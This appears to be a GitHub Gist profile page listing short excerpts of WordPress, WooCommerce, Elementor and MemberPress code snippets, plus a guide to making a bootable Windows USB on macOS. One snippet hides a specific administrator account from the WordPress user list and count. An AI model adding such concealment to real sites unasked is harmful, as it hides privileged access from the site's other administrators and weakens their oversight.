Skip to content

Instantly share code, notes, and snippets.

View giacomolanzi's full-sized avatar
🏝️
Working remotely

Giacomo Lanzi giacomolanzi

🏝️
Working remotely
View GitHub Profile
@giacomolanzi
giacomolanzi / add-rankmath-metafield-to-api.php
Last active May 1, 2025 11:18
Add RankMath meta field to REST API
<!-- This exposes the following meta field to posts in REST API: rank_math_focus_keyword, rank_math_title, rank_math_description -->
function register_rank_math_custom_fields_rest_api()
{
$meta_keys = [
'rank_math_focus_keyword',
'rank_math_title',
'rank_math_description'
];
@giacomolanzi
giacomolanzi / bootable-win-on-mac.md
Created October 23, 2024 17:30 — forked from acarril/bootable-win-on-mac.md
Create a bootable Windows USB using macOS

For some reason, it is surprisingly hard to create a bootable Windows USB using macOS. These are my steps for doing so, which have worked for me in macOS Monterey (12.6.1) for Windows 10 and 11. After following these steps, you should have a bootable Windows USB drive.

1. Download a Windows disc image (i.e. ISO file)

You can download Windows 10 or Windows 11 directly from Microsoft.

2. Identify your USB drive

After plugging the drive to your machine, identify the name of the USB device using diskutil list, which should return an output like the one below. In my case, the correct disk name is disk2.

<?php
add_action('woocommerce_checkout_init', 'payment_method_change_trigger_update_checkout_js');
function payment_method_change_trigger_update_checkout_js()
{
wc_enqueue_js("$('form.checkout').on( 'change', 'input[name=payment_method]', function(){
$(document.body).trigger('update_checkout');
});");
}
add_filter('woocommerce_cart_calculate_fees', 'discount_based_on_payment_method', 10, 1);
@giacomolanzi
giacomolanzi / hide-user-in-wp.php
Last active April 17, 2024 13:25
This code hide a user to others changing the list and the count of the users in backend.
<?php
//* Hide this administrator account from the users list
add_action('pre_user_query','site_pre_user_query');
function site_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username == 'xxxxxx') {
}
@giacomolanzi
giacomolanzi / sign-up-elementor-form.php
Created February 6, 2024 16:37
Pass Elementor Form data to the function to create a new user in WP.
<?php
add_action( 'elementor_pro/forms/new_record', 'planbproject_elementor_form_create_new_user' , 10, 2 );
function planbproject_elementor_form_create_new_user($record,$ajax_handler) // creating function
{
$form_name = $record->get_form_settings('form_name');
//Check that the form is the "Sign Up" if not - stop and return;
if ('Sign Up' !== $form_name) { // Add form name
return;
}
<?php
function custom_validate_coupon($errors) {
global $wpdb;
// If the user is not logged in, they have never used a coupon
if(!MeprUtils::is_user_logged_in()) { return $errors; }
$coupon_code = (isset($_POST['mepr_coupon_code']) && !empty($_POST['mepr_coupon_code'])) ? stripslashes($_POST['mepr_coupon_code']) : '';
// Define the coupon codes here for which you want to perform the check